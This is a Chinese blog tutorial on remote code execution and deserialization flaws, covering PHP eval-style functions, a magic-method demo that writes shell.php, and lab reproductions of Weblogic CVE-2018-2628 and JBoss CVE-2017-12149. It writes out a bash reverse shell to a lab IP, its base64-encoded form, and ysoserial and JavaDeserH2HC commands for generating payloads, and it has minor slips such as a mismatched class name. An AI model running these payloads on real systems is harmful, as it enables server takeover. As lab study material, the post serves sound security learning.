远程代码执行及反序列化漏洞

本文详细介绍了远程代码执行的原理和常见漏洞,包括PHP中的evel、assert等函数,以及反序列化漏洞的利用,如__wakeup()、__destruct()函数。还探讨了Weblogic、Struts2和Jboss的反序列化攻防过程,强调了安全控制的重要性。
摘要由CSDN通过智能技术生成
  1. 远程代码执行原理介绍

原理

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。 远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

  1. PHP远程代码执行常用函数

PHP代码执行函数

1.evel():传入的参数必须为PHP代码,既需要以分号结尾。

2.assert():直接将传入的参数当成PHP代码执行,不需要以分号结尾,当然加上也可以。

3.preg_replace():#preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)

#执行命令和上传文件参考assert函数(不需要加分号)。

#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。

4.create_function():创建匿名函数执行代码。

5.array_map(): 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

6.call_user_func():传入的参数作为assert函数的参数。

7.call_user_func_array():将传入的参数作为数组的第一个值传递给assert函数。

8.array_filter():用回调函数过滤数组中的元素:array_filter(数组,函数)

9、uasort():

#php环境>=<5.6才能用

#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

 

  1. Php反序列化原理和案例

反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

php中有一类特殊的方法叫“Magic function”, 这里我们着重关注一下几个:

构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

析构函数__destruct():当对象被销毁时会自动调用。

__wakeup() :如前所提,unserialize()时会自动调用。

测试如下:

测试如下:

<?phpclass bmjoker{

    var $test = '123';

    function __wakeup()

    {

        echo "__wakeup()函数被调用";

        echo "</br>";

    }

    function __construct()

    {

        echo "__construct()函数被调用";

        echo "</br>";

    }

    function __destruct()

    {

        echo "__destruct()函数被调用";

        echo "</br>";

    }

}

$class2 = 'O:7:"bmjoker":1:{s:4:"test";s:3:"123";}';

print_r($class2);

echo "</br>";

$class2_unser = unserialize($class2);

print_r($class2_unser);

echo "</br>";?>

我们运行php文件,来证明函数被调用:

应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都被调用,如果这些函数里面包含的是恶意代码会怎么样呢?

利用场景

__wakeup() 或__destruct()

由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。

基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把$test的写入到shell.php中。为此我们写个php脚本:

<?php
class bmjoker{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$class4 = new bmjoker();
$class4->test = "<?php phpinfo(); ?>";    
$class4_ser = serialize($class4);    
print_r($class4_ser);
print("<br>");
$class5_unser = unserialize($class4_ser);
print_r($class5_unser);
?>

由此得到序列化结果:

O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo();?>";}

  1. Weblogic反序列化攻防过程还原

一、漏洞成因

攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。

RMI:Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。

java反序列化:指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

T3协议:WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。服务器实例将跟踪所连接的每个 Java 虚拟机(Java Virtual Machine,简称 JVM),并创建单个 T3 连接以承担 JVM 的所有流量。

二、漏洞识别

1、扫描端口,这里不知道为啥没有扫描出特定的T3协议端

 

  1. POC工具利用

 

检测出具有CVE-2018-2628漏洞

三、漏洞利用

启动JRMP Server,使得触发漏洞后的weblogic,可远程调用特定的程序:

攻击了一台存在漏洞的靶机时,靶机就会找这台具有JRMP服务的机器,寻找payload;

bash命令:bash -i >& /dev/tcp/192.168.236.128/7777 0>&1

由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

格式为:bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}

运行代码:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}’

 

说明开启成功,JRMP正在监听8888端口

执行代码:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.236.128:8888 | xxd -p | tr -d $‘\n’ && echo

 

将构造的数据,复制粘贴到EXP中的payload,并且修改IP为目标IP:

 

 

保存后,监听bash脚本中的7777端口,python运行这个EXP脚本:
一开始报错,是因为python默认的是python3运行,但是python3中print语法中得带有括号,所以报错,这里进行python2运行,成功运行:

 

kali这边接收到shell,且为root权限:

 

  1. Struts2命令执行攻防过程还原

一个请求在Struts2框架中的处理大概分为以下几个步骤:

1 客户端发送请求;

2 这个请求经过一系列的过滤器(Filter)(这些过滤器中有一个叫做ActionContextCleanUp的可选过滤器,这个过滤器对于Struts2和其他框架的集成很有帮助,例如:SiteMesh Plugin)

3 接着FilterDispatcher被调用,FilterDispatcher询问ActionMapper来决定这个请是否需要调用某个Action。FilterDispatcher的功能如下:

        (1)执行Actions

        (2)清除ActionContext

        (3)维护静态内容

        (4)清除request生命周期内的XWork的interceptors

4 如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy

5 ActionProxy通过Configuration Manager询问框架的配置文件,找到需要调用的Action类

6 ActionProxy创建一个ActionInvocation的实例。

7 ActionInvocation实例使用命名模式来调用,在调用Action的过程前后,涉及到相关拦截器(Intercepter)的调用。

8 一旦Action执行完毕,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可 能是另外的一个Action链)一个需要被表示的JSP或者FreeMarker的模版。在表示的过程中可以使用Struts2 框架中继承的标签。在这个过程中需要涉及到ActionMapper

  1. Jboss反序列化攻防过程还原远程命令执行漏洞

一。环境搭建

利用vulhub搭建Jboss

cd vulhub

cd jboss

cd CVE-2017-12149

docker-compose build (若出现镜像问题,直接执行下面命令)

docker-compose up -d

访问:http://192.168.5.100:8080/

 

搭建成功

二。漏洞复现思路

下载这个CVE漏洞的POC

nc监听这个受攻击主机的IP和端口

执行这个二进制文件,即POC利用

监听到该主机,漏洞复现成功

下载可执行的二进制文件----执行文件生成payload----监听—curl上传payload------监听成功

三。漏洞复现

访问该URL返回500,发现存在漏洞

 

首先下载该漏洞的POC
下载可执行的二进制文件
https://github.com/joaomatosf/JavaDeserH2HC

 

进入目录:
cd JavaDeserH2HC

 

在该目录下执行生成二进制payload文件:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 192.168.5.100:4444 (监听IP和端口)

 

生成后curl上传,另开一个窗口进行监听:
先监听:

 

再上传:

 

 

监听成功!
默认监听成功是无回显的,可以输入系统命令看看答案。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
好的,我知道你的问题了。针对你提到的这个问题,我可以给你一些解释和分析。 首先,RMI(Remote Method Invocation)是Java远程调用机制的一种实现方式,它允许在不同的JVM进程之间进行Java对象的传输和远程调用。而反序列化(Deserialization)是将二进制数据转换为Java对象的过程。在Java中,对象的序列化和反序列化是通过ObjectInputStream和ObjectOutputStream类来实现的。 RMI远程反序列化RCE漏洞是指,攻击者可以通过构造恶意的序列化数据,使得服务端在反序列化执行恶意代码,从而导致远程代码执行漏洞。这个漏洞的根本原因在于Java序列化机制的设计缺陷,攻击者可以通过构造恶意的序列化数据来绕过Java的安全机制,从而执行任意代码。 而Spring框架的反序列化远程代码执行漏洞,则是指攻击者可以通过构造恶意的序列化数据,使得Spring框架在反序列化执行恶意代码,从而导致远程代码执行漏洞。这个漏洞的影响范围非常广泛,涵盖了Spring框架的多个版本,包括Spring MVC、Spring WebFlow、Spring Data等。 总的来说,RMI远程反序列化RCE漏洞和Spring框架的反序列化远程代码执行漏洞都是Java序列化机制的设计缺陷所导致的安全漏洞。攻击者可以通过构造恶意的序列化数据来绕过Java的安全机制,从而执行任意代码。因此,在开发Java应用程序时,需要注意对序列化和反序列化数据的处理,避免出现安全漏洞
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小武很忙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值